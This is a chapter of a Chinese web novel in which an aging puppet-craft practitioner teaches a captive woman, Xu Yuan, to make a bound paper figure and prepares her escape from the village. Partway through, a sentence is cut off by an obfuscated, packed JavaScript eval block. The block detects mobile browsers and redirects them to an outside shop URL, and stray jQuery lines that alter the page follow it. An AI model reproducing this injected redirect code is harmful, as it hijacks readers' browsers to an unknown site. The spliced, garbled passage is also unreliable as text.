我闭上眼，听见了某种声音。是从骨头里传来的腔调，白濯心的这番话，打破了我对她固有的印象。


    有关于她的名声，好像都走错了方向。一时分不清，她复杂的本性。


    我走回内屋，从床底下拖出一个陈旧的木箱。箱子上没有上锁，只是用一根红绳系着。我解开绳子，掀开箱盖，里面整齐地码放着一叠叠泛黄的符纸，各色的剪纸，几捆细线，不同的工具，好几个木匣子，还有一捆用布包裹的细竹条。


    “你想回家吗？”我头也没抬地问。


    “想。”许媛很坚定，“每一天都想。”


    “既然你自救的法子不顶用。”我取出一叠纸，又抽出几根竹条，放在了桌上，“那不如用用我的办法。从今天起，我就教你这些东西，虽算不上你们城里人说的正经玩意儿，但在这种地方，很有用。”


    许媛明显愣住了：“您这是……”


    “你不是第一个来找我的女人。”我打断她，手里开始熟练地将竹条弯折、固定，“也不会是最后一个。那些女人，有的运气好，我帮她们逃出去了。有些运气不好，被发现了，下场会比现在还惨。”


    我的手指在竹间穿梭，动作快得几乎看不清。竹条在手中发出轻微的“咔咔”声，逐渐形成了一个骨架。


    “我教你的东西，你不能告诉任何人，也包括你最亲密的人。”我抬眼看了她一下，“如果有一天你真的能离开这里，今天在这里学到的、看到的，都必须烂在肚子里。能做到吗？”


    许媛咬着嘴唇，用力点了点头。


    “好。”我又低下头，继续手上的动作，“这门手艺，我叫它傀术。在你们城里人眼里，是歪门邪道，是装神弄鬼。但在我这儿，它就是个工具。工具本身没有好坏，看用的人怎么用。”


    骨架基本成型了，我开始往上糊纸。纸张很薄，半透明，透着昏黄的光。我将纸张小心地覆在骨架上，用自制的浆糊一点点粘牢。


    “您要教我……做纸人？”许媛小心翼翼地问。


    “是，也不是。”我说，“纸人只是载体，重要的是里面的东西。”


    “什么东西？”


    我没有立刻回答，而是躯壳下意识地走向箱子，从里取出一个更小的木匣子。打开后，里面是一小撮暗红色的粉末，像是干涸的血迹，又像是某种矿物的碎末。


    “这是朱砂，混了别的东西。”我用指尖捻起一小撮，轻轻撒在未完成的纸人上，“每个傀娘都有自己独特的配方，我的配方里，有我自己的血，有神像供桌上香炉里的香灰，还有……”


    我顿了顿，没再说下去。


    “还有什么？”许媛追问。


    “还有我自己的头发。”我平静地说，看着许媛的眼睛，“我把自己的头发烧成灰，混在里面。这样，我的一部分，就永远留下来了。”


    许媛的脸色变了变，但她没躲，反而向前凑了凑，盯着那些粉末：“这样做的目的是什么？”


    “是记号，也是联系。”我继续手上的工作，用毛笔蘸了掺了蛋清的墨汁，开始在纸上画线，“每个人的气是不一样的，这粉末里有了你的东西，做出来的纸人，就只认你。别人用不了，也控制不了。”


    “我的东西？”许媛疑惑地问。


    我停下笔，抬眼看着她：“给我一根你的头发。”


    许媛愣了一下，随即从发间扯下几根长发，递给我。我接过来，从箱子里取出一盏小小的酒精灯点燃，将头发放在灯上烤。头发很快蜷曲、焦黑，化作一小撮灰烬。


    随后，我取出了新的木匣子，混了些朱砂、香炉里的香灰，再递给她了根银针：“在神像面前，先给他上三柱香，再去刺破手指，滴进去。”


    许媛疑惑地照做，上完香后忍着刺痛捏着指尖，将血滴落在匣子里。


    我小心地将她头发的灰烬收集起来，混进匣子内那暗红色的粉末中。


    “现在，你算是给神像请了安，这里面也有你的东西了。”我说，继续在纸上画线，“接下来我要教的，是让纸人‘活’起来的方法。但在此之前，你必须记住三件事。若是违背了，会有报应。”


    我停下笔，抬头直视着她的眼睛。


    “第一，不能用这门手艺害无辜之人。第二，不能将这门手艺教给任何人。第三，也是最重要的一点……”


    我凑近了些，声音压得很低：“给纸人点睛是很危险的事情，一旦有你东西的纸人有了眼珠子，它就会和你长得一样，然后变成你，活在世上。”


    许媛倒吸一口凉气，手指不自觉地抓住了衣角。


    “记住了吗？”我问。


    “记、记住了。”她的声音有些发抖。


    “好。”我点点头，继续手上的工作。墨线在纸上游走，渐渐勾勒出一个简陋的人形。没有五官，只有大致轮廓，但莫名地透着一种说不出的诡异。


    “傀术的核心，是‘借’。”我开始讲解，手上动作不停，“借物成形，借力行事，借气为生。但借来的东西，终究是要还的。所以每次用傀术，都要付出代价。”


    “什么代价？”许媛问。


    “看借的是什么，借多少。”我完成了最后一笔，将毛笔放下，“借一点气，可能只是让你累一天。借一条命，就得用你自己的命去填。”


    纸人躺在桌上，在昏黄的灯光下，泛着诡异的微光。没有眼睛，但许媛总觉得，它在看着自己。


    “现在，我教你点睛。”我伸出右手食指，在空中虚画了一个复杂的轮廓，“这诀学会它，你就能让纸人成为你，你也会和纸人建立联系，通过它去看、去听。但要注意，每次通感的时间不能太长，否则你会分不清，哪边才是真正的你。”


    我开始慢慢示范，手指在空中划过玄妙的轨迹。许媛学得很认真，眼睛一眨不眨地盯着我的动作。


    窗外，天色渐渐暗了下来。远处的山峦变成黛色的剪影，像是伏在夜色中的巨兽。村子里零星亮起几点灯光，但大多很快就熄灭了。这个村子的人，习


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061271|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    惯早睡。


    不知过了多久，我停下动作，看向许媛：“记住了吗？”


    她点点头，有些不确定地重复了一遍。动作生涩，但大体没错。


    “多练，直到闭着眼睛也能画出来，你的那双眼睛。”我说，从桌上拿起那个未完成的纸人，递给她，“今晚你就睡在二楼，纸人放在枕边。如果半夜听到什么动静，不要睁眼，不要说话，用手按住纸人，做三遍我教你的咒诀。”


    许媛接过纸人，手指微微发颤：“会……会有什么动静？”


    “不知道。”我摇头，“但张广茂不会就这么算了。他今晚应该还会来，只是换种方式。”


    我转身走到门口，又停下来，回头看着她：“还有一件事。”


    “您说。”


    “如果张广茂闯了进来，你就留下纸人，从二楼的暗室离开。暗室里有一条通道，直通地窖，通向后山我砌好的坟。从那里出去，往东走三里，有一座菩萨庙。菩萨像后有道防空洞，里面埋着有干粮、水和一点钱。拿了东西，就等在里面，等你男人来救你。”


    我深深吸了口气，“获救后，出去记得，不要再叫许媛。”


    许媛的眼睛瞪大了：“白婆婆，您……”


    “这只是以防万一。”我打断她，声音平静得可怕，“记住我说的话。现在，去睡吧。”


    我看着许媛犹豫地上了二楼。


    堂屋里只剩下我一个人。我走到窗前，掀开窗帘的一角，望向夜色中的村落。月光很淡，云层厚重，整个村子笼罩在一片压抑的黑暗中。


    我的手指在窗台上轻轻敲击，那是白濯心惯有的动作。平静的内心，多了惆怅。我现在并不紧张，只是觉得累。漫长的岁月，数不清的面孔，一个个来，一个个走。有些人逃出去了，有些人却永远留在了这里。


    许媛会是哪一个？


    我不知道。


    但我必须试一试。就像当年，母亲教我的一样。


    我走到神龛前，点燃三炷新香。香烟袅袅升起，在昏暗的灯光中盘旋，像是某种无声的祈祷。


    “娘。”我低声说，声音轻得只有自己能听见，“我又收了一个学生。您说，我能救她吗？”


    神像沉默着，彩漆剥落的脸上，那双画出来的眼睛空洞地望着前方，望着这个充满苦痛的人间。


    香燃到一半时，我听到了声音。


    很轻，像是猫在院外走过，又像是风吹动泥地的声响。但我能分辨出来，那是脚步声。不止一个人，他们在院墙外，在黑暗中移动。


    我吹熄了油灯，让整个堂屋陷入黑暗。


    然后，我坐到椅子上，闭上眼睛，开始等待。


    我早已有了准备，提前在院墙内撒了碎瓦片，他们跳下来时踩中了，会发出哗啦的声响。


    手指间，那根无形的傀线再次浮现，另一端连接着院子里、屋檐下、墙缝中那些看不见的存在。


    今夜，会很漫长。


    而这才只是开始。